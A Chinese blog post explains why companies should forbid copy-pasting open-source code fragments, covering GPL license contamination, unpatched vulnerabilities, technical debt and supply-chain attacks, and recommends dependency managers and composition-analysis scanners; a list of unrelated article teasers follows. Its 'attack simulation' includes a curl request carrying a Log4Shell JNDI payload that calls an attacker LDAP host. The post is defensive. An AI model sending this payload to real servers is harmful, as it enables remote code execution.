当前位置：首页 > news >正文

企业为何要禁止“片断引用开源软件代码”？一文看透！

news 来源：原创 2025/6/27 19:55:50

开篇故事：一段“开源代码”引发的百亿级灾难

某电商平台为快速上线新功能，从GitHub复制了一段“高性能加密算法”代码到支付系统中。

半年后，黑客通过该代码中的隐藏后门，盗取百万用户信用卡信息。

事后调查：这段代码实为某黑客组织伪装的恶意开源项目！

核心问题：片断引用开源代码（Copy-Paste Coding）如同在餐厅后厨混入不明食材——看似省时，实则暗藏杀机。

开发者片断引入导致“毒丸”后门

一、什么是“片断引用开源软件代码”？

1. 定义

开发者从开源项目（如GitHub、StackOverflow）复制部分代码片段（如某个函数、类库）到企业私有代码库中，不通过包管理工具（如npm、maven、gradle、pip）规范引入，应整改为规范方式引入（如源码引入、组件依赖、二进制引入）。

2. 典型场景

抄代码救急：

// 从某开源项目复制RSA加密代码  
public static String encrypt(String data) {  // 来源：https://github.com/xxx/crypto-utils  ... // 200行未经验证的代码  
}

魔改开源模块：

// 开发者复制原版Log4j的PatternLayout，魔改后的“简化版”， 
public class SimplePatternLayout {  public String format(LogEvent event) {  // 直接拼接日志内容，未做转义，存在日志注入风险  return String.format("[%s] %s", event.getLevel(), event.getMessage());  }  
}

3. 与规范引用的区别

维度	片断引入（危险！）	规范引用（安全）
更新追踪	无法获取后续安全补丁	依赖管理工具自动更新
许可证合规	极易忽视版权声明，可能面临法务风险	工具自动扫描并提醒
代码质量	脱离原项目测试环境，风险未知	经过社区验证

二、片断引入的四大致命风险

风险1：许可证污染——企业代码变“开源传染体”

GPL（GNU General Public License）是一种强传染性开源许可证（高风险），其核心要求包括：

源码开放：任何分发或修改后的代码都必须公开源码。
保留版权声明：需保留原始作者的版权声明。
相同许可证：衍生作品必须以相同的 GPL 许可证发布。

案例：某创业公司复制了GPL协议的代码片段但未声明，产品上市后被原作者起诉，被迫开源全部代码。

技术解析：

GPL“病毒式传染”：只要使用GPL代码片段，整个项目必须开源
MIT/BSD协议：需保留版权声明，否则面临法律索赔

律师函示例（侵权后果）：

您违反了GPL-3.0协议！请在30天内公开项目源代码。  
—— 来自开源维权组织的律师函

风险2：安全漏洞潜伏——复制即引入“定时炸弹”

案例：某银行复制了GitHub上的日志模块，其中包含未修复的Log4j漏洞（CVE-2021-44228），导致黑客远程执行代码。

漏洞原理：

片断代码脱离原项目后，失去漏洞预警机制
企业无法通过CVE数据库（如NVD、CNVD、VulnDB）匹配到私有代码中的漏洞

攻击模拟：

# 攻击者利用私有代码中的Log4j漏洞  
curl -X POST http://bank.com/log \  -H 'User-Agent: ${jndi:ldap://hacker.com/Exploit}'

风险3：技术债堆积——代码“腐烂”无人能修

场景还原：

开发者A复制了2015年的开源代码（基于Python 2，2000年发布）
2020年Python 2停止维护，代码存在兼容性问题
开发者B接手后，因不熟悉代码逻辑不敢修改 → 系统逐渐腐化

技术债务指数：

+ 维护成本提升300%（开发者需逆向工程）  
+ 迭代速度下降60%（牵一发而动全身）

风险4：供应链攻击——开源片段成“特洛伊木马”

真实事件：

Event-Stream漏洞（2018年）：攻击者劫持npm包，在压缩代码中植入恶意脚本
若企业复制了该代码片段：即使原项目修复，私有代码中的恶意片段仍长期存在

通过片断代码实施供应链攻击流程

三、企业级解决方案：四步构建代码“安全厨房”

Step 1：建立代码准入门禁

代码扫描工具：
- Checkmarx、ScanOSS、Synk：检测代码相似度，识别开源片段
- BlackDuck、Fossa、棱镜七彩：自动化许可证合规检查

流程规范：

提交代码前必须执行：  
1. 扫描是否含开源片段 → 2. 评估许可证风险 → 3. 审批委员会审核

Step 2：用依赖管理取代复制粘贴

正确做法（以Node.js为例）：

# 使用npm规范引入  
npm install lodash --save  # 而非复制node_modules/lodash/index.js到本地

优势：

自动接收安全更新（npm audit fix）
版本锁定（package-lock.json）防止意外升级

Step 3：构建私有代码库

框架示例：

组件名	功能描述	替代开源方案	维护团队
SafeEncrypt	国密算法实现	替代OpenSSL SM3	密码组

价值：减少对外部代码的临时性依赖

Step 4：定期“代码体检”

使用工具：

Snyk：扫描私有代码中的已知漏洞
Black Duck：生成软件成分分析（SCA）报告

体检指标：

- 开源代码占比 ≤ 15%  
- 高危许可证（GPL）使用数 = 0  
- 存在漏洞的代码文件数 = 0

四、总结：代码安全是数字时代的“食品安全”

核心原则：

✅ 能用工具不复制：优先通过包管理引入
✅ 非要复制必审核：法律、安全双重审查
✅ 历史代码大扫除：定期清理“僵尸片段”

行动呼吁：

打开你的IDE，使用Snyk、ScanOSS或Checkmarx扫描项目，揪出危险的“代码食材”，欢迎评论区晒出问题或提问！

代码成分扫描

推荐阅读：

如何正确看待开源软件？开源软件六大认知误区你都知道么？
一文彻底搞懂许可证的定义、起源、分类及八大主流许可证
安全工具 | 软件成分分析工具Black Duck，业界排名TOP 1的SCA工具
软件成分分析SCA详解：从发展背景到技术原理再到业界常用检测工具推荐

关注我，带你用“人话”读懂技术硬核！ 🔥

企业为何要禁止“片断引用开源软件代码”？一文看透！

开篇故事：一段“开源代码”引发的百亿级灾难某电商平台为快速上线新功能，从GitHub复制了一段“高性能加密算法”代码到支付系统中。半年后，黑客通过该代码中的隐藏后门，盗取百万用户信用卡信息。事后调查：这段代…...

编程日记 2025/6/27 19:55:50

测试模版x

本篇技术博文摘要 🌟 引言 📘 在这个变幻莫测、快速发展的技术时代，与时俱进是每个IT工程师的必修课。我是盛透侧视攻城狮，一名什么都会一丢丢的网络安全工程师，也是众多技术社区的活跃成员以及多家大厂官方认可人员&a…...

编程日记 2025/5/28 15:19:49

deepseek-r1-671B满血版，全栈式智能创作平台 - 多模态大模型赋能未来创作

引领AI创作新纪元比象AI全栈式智能创作平台是基于全球领先的多模态大模型技术构建的新一代AI创作引擎，集成了前沿的BeyondLM-7B认知计算框架、BeyondDiffusion-XL视觉生成系统和BeyondSynth音视频合成技术，打造从内容构思到成品输出的完整智能创作闭环…...

编程日记 2025/6/22 23:05:13

Promethues 普罗米修斯

Prometheus 并非传统意义上的数据库，而是一个开源的系统监控和报警工具包，但它的核心组件之一是时间序列数据库，用于存储监控指标数据。以下是对 Prometheus 及其时间序列数据库功能的详细介绍： 1. Prometheus 概述目标定位&a…...

编程日记 2025/6/23 13:36:22

Web 服务架构与技术组件概述

目录 web服务流程图 Web 服务流程图描述了客户端与服务器之间的交互。首先，用户通过浏览器发送请求到 Web 服务器。如果请求的是静态资源（如 HTML、CSS、图片），Web 服务器直接返回响应；如果是动态资源，We…...

编程日记 2025/6/24 22:47:05

华硕NUC产品闪耀第31届中国国际广播电视信息网络展览会

2025年4月22日，第31届中国国际广播电视信息网络展览会在北京国家会议中心盛大开幕。作为一年一度的行业盛会，展会汇聚了来自全球各地的顶尖技术与设备厂商。在这片科技与创新交织的海洋中，华硕NUC以其卓越性能、小巧体积和创新技术十分引人注…...

编程日记 2025/6/26 7:24:56

Matplotlib高阶技术全景解析（续）：动态交互、三维可视化与性能优化

目录编辑一、动态可视化：实时数据流与动画生成 1. 实时数据流可视化 2. 复杂动画控制二、三维可视化：科学计算与工程建模 1. 基础三维绘图 2. 高级三维渲染优化三、交互式可视化：GUI集成与Web部署 1. Tkinter/PyQt嵌入式开发 …...

编程日记 2025/6/25 21:09:27

[DDD传灯录]禅师：这，就是领域驱动设计（01-02）

用《软件方法》引领AI全流程开发-5月12-14日第3期领域驱动设计是革命性的创造，是划时代的洞见，是解决业务领域用户需求技术系统功能逻辑架构分析设计复杂性的敏捷精益方法学。这一切的根源，归结于领域驱动设计蕴含丰富的佛学思想。佛学是所…...

编程日记 2025/6/26 23:09:28

0基础 | Proteus仿真 | 51单片机 | 继电器

继电器---RELAY 本次选择一款5v一路继电器进行讲解信号输入 IN1输入高电平，三极管导通，LED1点亮，电磁铁12接通吸引3向下与4接通，J1A的12接通 IN1输入低电平，则J1A的23接通产品引脚定义及功能序号引脚符号引脚…...

编程日记 2025/6/22 23:34:38

鸿蒙应用开发证书考试的一点想法

一、介绍： 直接上图二、体验后的想法： 1.知识点在指南API参考最佳实践里面找 2.没有明确说明考试不能查第1点的文档，但是考试只有1个小时，合理分配时间 3.切屏三次后自动提交要注意，每月3次机会下月又有3次机会&a…...

编程日记 2025/6/23 1:35:51

MiniMind模型的web交互功能初试

MiniMind模型的web交互功能初试一、前言 MiniMind提供了基于streamlit的web交互功能，能够即时切换模型和修改相关参数，经初步测试，具有比较好的体验感。本文介绍了使用MiniMind使用web交互功能的方法，并对使用中出现的问题给出…...

编程日记 2025/6/25 11:47:08

手把手玩转 JSON：快递包裹式思维拆箱装箱，Python / Java / Scala 全景实战指南

在日常开发中，JSON 就像全栈程序员口袋里那把万用螺丝刀——既轻便又几乎无处不在。本文面向初学者和中级读者，用“快递包裹”与“便签盒子”的比喻，结合 Python / Java / Scala 三语种示例，带你从概念、语法到实战全面掌握 JSON。…...

编程日记 2025/6/20 11:45:29

HFSS5（李明洋）——设置激励（波端口激励）

Magnetic是适用于铁磁氧导体的，只有前三种激励类型可以用于计算S参数 1波端口激励也可以设置在模型内部，如果是设置在模型内部必须加一段理想导体，用于指定端口方向 1.1——模式 number 输入N：计算1-N的模式都计算 1.2——模式校准计算端口特征阻抗有三种方式：Zpi、…...

编程日记 2025/6/24 20:11:03

NVIDIA --- 端到端自动驾驶

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、传统驾驶模型二、NVIDIA的端到端驾驶模型1.基本模型2.自查讯向量3.通用框架总结前言端到端自动驾驶指的是系统接收来自摄像头雷达和激光雷达的原始传感…...

编程日记 2025/6/23 18:56:15

日语学习-日语知识点小记-构建基础-JLPT-N4阶段（11）：てあります。

日语学习-日语知识点小记-构建基础-JLPT-N4阶段（11）： てあります。 1、前言（1）情况说明（2）工程师的信仰 2、知识点（1）てあります。（２）…...

编程日记 2025/6/23 11:54:34

【前端】如何检查内存泄漏

在实际的场景中，如果观察到内存持续出现峰值，并且内存消耗一直没有减少，那可能存在内存泄漏。使用 Chrome DevTools 来识别内存图和一些内存泄漏，我们需要关注以下两个方面： ● 使用性能分析器可视化内存消耗&#xf…...

编程日记 2025/6/23 23:46:03

【多线程】四、死锁

文章目录 Ⅰ. 死锁的概念Ⅱ. 死锁的四个必要条件Ⅲ. 避免死锁的方案Ⅳ. 避免死锁的算法Ⅰ. 死锁的概念死锁是指在一组进程中的各个进程均占有不会释放的资源，但因互相申请被其他进程所占用不会释放的资源而处于的一种永久等待状态。通常，死锁发生在多个进程同时需要…...

编程日记 2025/6/20 12:19:43

【现代深度学习技术】循环神经网络06：循环神经网络的简洁实现

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上，结合当代大数据和大算力的发展而发展出来的。深度学习最重…...

编程日记 2025/6/23 5:07:23

Video-LLaVA

一、研究背景与现有方法局限性在多模态大语言模型（LVLMs）的发展中，现有方法面临两大核心挑战。其一为单一模态处理的局限，多数 LVLMs 仅能处理图像 - 语言或视频 - 语言等单一视觉模态，难以在统一框架下高效整合多种视觉输入。其二为统一表示的困难，尽管部分研究尝试通过…...

编程日记 2025/6/25 22:24:29

firewalld 详解

firewalld 详解 firewalld 是 Linux 系统中一个动态防火墙管理工具，取代了传统的 iptables，提供更灵活、动态的规则配置，支持运行时修改且无需重载服务。以下是其核心概念、常用操作及示例指南： 一、核心概念区域（Zo…...

编程日记 2025/6/27 2:11:16

QuecPython+USBNET：实现USB网卡功能

USBNET 概述 USBNET（USB Networking） 是一种通过 USB 接口实现网络通信的技术，允许设备通过 USB 连接模拟以太网（Ethernet over USB）或直接进行网络数据传输。它广泛应用于嵌入式设备、工业控制、虚拟机和便携式设备…...

编程日记 2025/6/23 6:42:16

百度搜索AI开放计划：助力开发者通过MCP Server连接用户和应用

百度搜索AI开放计划：助力开发者通过MCP Server连接用户和应用一、背景 2025年4月25日，百度在Create开发者大会上发布了全新的AI开放计划。这一计划的核心目的是实现用户和AI应用、MCP Server的高效链接，提供更流畅的互动体验，推…...

编程日记 2025/6/25 14:29:01

一文带你了解单例模式及其逐步优化~

单例模式单例模式是一种创建型设计模式，它确保一个类只有一个实例，并提供一个全局访问点来获取该实例。使用场景： 需要频繁创建和销毁的对象创建对象时耗时过多或资源消耗过大工具类对象（无状态的工具类） 访问…...

编程日记 2025/6/26 12:39:22

【金仓数据库征文】-不懂数据库也能看懂！一文解析金仓技术介绍以典型应用

目录一、主角登场没有数据库，你的生活可能会 “乱套” 国产数据库之金仓 KingbaseES 金仓数据库凭啥 “C 位出道”？ 二、金仓数据库产品核心解析企业级数据库 “全能选手” 巧妙的 “内部协作” 按需选择的版本四、生态联合解决方案深度探索…...

编程日记 2025/6/26 18:24:38

什么是视频上墙

视频联动上墙是指当监控系统中出现报警或其他特定事件时，相关的视频画面能够自动切换并显示在指定的监控大屏或显示设备上，以便监控人员能够快速、直观地查看事件现场的情况，及时做出响应和处理。具体介绍• 系统组成 ：一般由前端…...

编程日记 2025/6/26 7:09:21

C++初登门槛

多态一、概念多态是指不同对象对同一消息产生不同响应的行为。例如，蓝牙、4G、Wi-Fi 对“发送数据”指令有不同的具体实现。二、核心理解本质：通过基类指针或引用操作子类对象，实现运行时动态绑定。表现形式： 接口统一&a…...

编程日记 2025/6/20 23:18:17

【金仓数据库征文】- 金融HTAP实战：KingbaseES实时风控与毫秒级分析一体化架构

文章目录引言：金融数字化转型的HTAP引擎革命一、HTAP架构设计与资源隔离策略1.1 混合负载物理隔离架构1.1.1 行列存储分区策略1.1.2 四级资源隔离机制二、实时流处理与增量同步优化2.1 分钟级新鲜度保障2.1.1 WAL日志增量同步2.1.2 流计算优化 2.2 物化视图实时刷…...

编程日记 2025/6/26 14:54:19

SpringBoot 学习

什么是 SpringBoot SpringBoot 是基于 Spring 生态的开源框架，旨在简化 Spring 应用的初始化搭建和开发配置。它通过约定大于配置的理念，提供快速构建生产级应用的解决方案，显著降低开发者对 XML 配置和依赖管理的负担。特点： …...

编程日记 2025/6/21 17:17:04

Q2桥门式起重机司机考试复习重点

Q2桥门式起重机司机考试复习重点 Q2桥门式起重机司机属于特种设备作业人员，理论考试重点复习时应重点掌握以下内容： 1、基础知识桥门式起重机的结构组成（大车、小车、起升机构、电气系统等）。主要技术参数（额定起…...

编程日记 2025/6/22 15:44:37

并发设计模式实战系列(7)：Thread Local Storage (TLS)

🌟 大家好，我是摘星！ 🌟 今天为大家带来的是并发设计模式实战系列，第七章Thread Local Storage (TLS)，废话不多说直接开始~ 目录一、核心原理深度拆解 1. TLS内存模型 2. 关键特性二、生活化类比&a…...

编程日记 2025/6/26 1:23:16

本地使用Ollama部署DeepSeek

以下是在本地使用Ollama部署DeepSeek的详细教程，涵盖安装、修改安装目录、安装大模型以及删除大模型的操作步骤。安装Ollama 1. 系统要求确保你的系统满足以下条件： 操作系统：macOS、Linux或者Windows。足够的磁盘空间和内存。 2. 安装…...

编程日记 2025/6/22 2:16:23

通过VSCode远程连接到CentOS7/Ubuntu18等老系统

通过VSCode远程连接到CentOS7/Ubuntu18等老系统背景 VSCode的远程连接插件Remote SSH一直以来是简单好用的远程工具。然而，2025年2月之后的版本在远程安装vscode-server时，预编译的server依赖glibc 2.28，这就要求Linux远程机的glibc版本应…...

编程日记 2025/6/23 21:17:54

Python在AI虚拟教学视频开发中的核心技术与前景展望

Python在AI虚拟教学视频开发中的核心技术与前景展望一、引言：AI虚拟教学的技术革新随着教育数字化转型加速，AI虚拟教学视频凭借个性化、沉浸式体验成为教育科技的新风口。Python以其强大的多模态处理能力、丰富的开源生态和跨领域兼容性，成…...

编程日记 2025/6/26 17:28:11

【金仓数据库征文】金仓数据库：开启未来技术脑洞，探索数据库无限可能

我的个人主页我的专栏： 人工智能领域、java-数据结构、Javase、C语言，希望能帮助到大家！！！ 点赞👍收藏❤ 目录引言：数据库进化的下一站 —— 未来科技的无限可能金仓数据库简介：国…...

编程日记 2025/6/21 17:33:34

深入掌握Redis主从复制：原理、配置与生产级实践指南

一、主从复制核心价值与适用场景 1.1 核心价值矩阵数据安全：多节点冗余存储，避免单点数据丢失服务可用性：主节点故障时可快速切换从节点性能扩展：通过横向扩展从节点提升读吞吐量运维便利：从节点可承担备份、分…...

编程日记 2025/6/26 14:58:41

springboot如何管理多数据源？

静态多数据源管理配置多个数据源：创建多个数据源的配置类，通常使用 @ConfigurationProperties 注解来绑定配置文件中的数据源属性，并通过 @Bean 注解定义多个 DataSource Bean 。例如：配置类： @Configuration public class DataSourceConfig {@Bean(name = "prima…...

编程日记 2025/6/21 13:58:06

基于风力推进器控制的小球实验装置设计与研究

目录完整论文下载链接放在文章结尾，有需要自行下载。目录摘要 1 引言 2 概述 2.1 风控小球系统概述 2.2 本设计方案思路 2.3 研发方向和技术关键 2.4 主要技术指标 3 总体设计 4 硬件设计 4.1 单片机最小系统 4.2 供电接口电路 4.3 Openmv摄像头…...

编程日记 2025/6/25 18:49:46

Swift闭包(Closure)深入解析与底层原理

前言在Swift开发中，闭包是一个非常重要且强大的特性。本文将深入探讨Swift闭包的底层实现原理，帮助开发者更好地理解和使用这一特性。 1. 什么是闭包闭包是自包含的函数代码块，可以在代码中被传递和使用。它不仅可以像函数一样执行代码&…...

编程日记 2025/6/22 16:32:11

【DE-III】基于细节增强的模态内和模态间交互的视听情感识别

abstract 在视听情感识别（AVER）中，捕捉视频和音频模态之间复杂的时间关系是至关重要的。然而，现有的方法缺乏对局部细节的关注，如视频帧之间的面部状态变化，这会降低特征的可区分性，从而降低识别准确率。为此，本文提出了一种用于AVER的细节增强的模态内和模态间交互…...

编程日记 2025/6/24 13:34:40

c++11 ：智能指针

目录一为什么需要智能指针？ 二智能指针的使用及原理 1. RAII 2. auto_ptr 3. unique_ptr 4. shared_ptr 5. weak_ptr 三内存泄漏 1.什么是内存泄漏，内存泄漏的危害 2. 如何避免内存泄漏？ 一为什么需要智能指针？ …...

编程日记 2025/6/22 14:49:30

Linux解压tar.gz包的正确姿势（附赠防抓狂指南）

一、为什么你的解压命令总报错？ 每次看到.tar.gz后缀是不是心里一紧？（别装了！我都看到你偷偷打开浏览器查命令的样子了）这个在Linux界横行霸道的压缩格式，其实用对了方法比Windows的zip还简单。今天咱们不…...

编程日记 2025/6/26 1:24:32

MCP协议：让AI从“话痨”变“实干家”的神奇魔法

一、MCP 协议：AI 界的 “万能插头” 是啥来头？ 1.1 从 “动口不动手” 到 “全能打工人” 你以为 AI 只会陪你聊天、写文案？那你可小瞧它啦！MCP 协议（Model Context Protocol），堪称 AI 的 “瑞…...

编程日记 2025/5/25 19:08:12

如何在SpringBoot中通过@Value注入Map和List并使用YAML配置？

在SpringBoot开发中，我们经常需要从配置文件中读取各种参数。对于简单的字符串或数值，直接使用Value注解就可以了。但当我们需要注入更复杂的数据结构，比如Map或者List时，该怎么操作呢？特别是使用YAML这种更人性化的配…...

编程日记 2025/6/24 23:51:22

记一次调用大华抓拍SDK并发优化

目录一、问题分析二、解决思路三、贴代码四、总结一、问题分析按惯例上问题： 设备告警采用高电平持续模式：一次开，不主动关就一直处于告警状态。并发时多个请求下发 setDVRAlarmOutConfig，导致状态混乱。 “开 -&g…...

编程日记 2025/6/23 16:59:02

打破认知！没论文没竞赛，我的暑期实习上岸秘籍：简历要敢 “吹”，面试靠巧 “聊”

前言以下教程仅针对本人的大大小小几十场暑期实习面试的经验总结，个人背景（双9，无论文、无竞赛、无大厂实习、无奖。）。简历几易其稿，相对于原来的初版，可谓是脱胎换骨，洗经易髓。二月中旬开…...

编程日记 2025/5/29 13:31:43

为何 RAG 向量存储应优先考虑 PostgreSQL + pgvector 而非 MySQL？

构建检索增强生成（RAG）系统已成为释放大型语言模型（LLM）潜力的关键范式。通过将 LLM 的推理能力与外部知识库的实时、特定信息相结合，RAG 能够生成更准确、更相关、更值得信赖的回答。而这个“外部知识库”的核心&…...

编程日记 2025/6/21 22:25:43

LangChain LCEL表达式语言简介

LangChain表达式语言（LCEL）是专为构建AI应用链设计的声明式编程框架，通过管道符|实现组件无缝衔接，支持流式处理、异步调用等生产级特性。其核心优势在于零代码改动实现原型到生产的过渡，同时保持代码简洁性和可维护性…...

编程日记 2025/6/22 19:42:36

智能座舱背后的秘密：智能座舱测试如何“具身智能”

在上期文章《智能座舱背后的秘密：AI赋能测试如何改写驾乘体验》中，我们聊到了“智能座舱”已成为车企争夺用户心智的核心战场、智能座舱功能体验进化、AI赋能座舱测试将突破“场景覆盖、情感量化、角色/场景衍生”技术实现方面的三大困局，并在…...

编程日记 2025/6/26 15:56:25

鸿蒙-试一下属性字符串:除了Span之外，如何在同一个Text组件中展示不同样式的文字

文章目录前言简介有哪些类型拉出来溜溜Text SpanStyledString其他CustomSpan先看一下构造函数onMeasure(measureInfo: CustomSpanMeasureInfo): CustomSpanMetricsonDraw(context: DrawContext, drawInfo: CustomSpanDrawInfo) 遗留问题前言在开发中，经常会遇到…...

编程日记 2025/6/25 5:25:28

今日最新漂亮的早上好图片祝福，最真的牵挂，永远的祝福

1、清晨的一个问候给你一个新的心情、一个祝福带给你新的起点、一个关心带给你一个新的愿望。祝福你心中常有快乐涌现！早安！ 2、人过花甲万事休，唯有健康不可丢，荣华富贵皆浮云，逍遥自在渡岁月！时光匆匆&am…...

编程日记 2025/6/22 21:38:08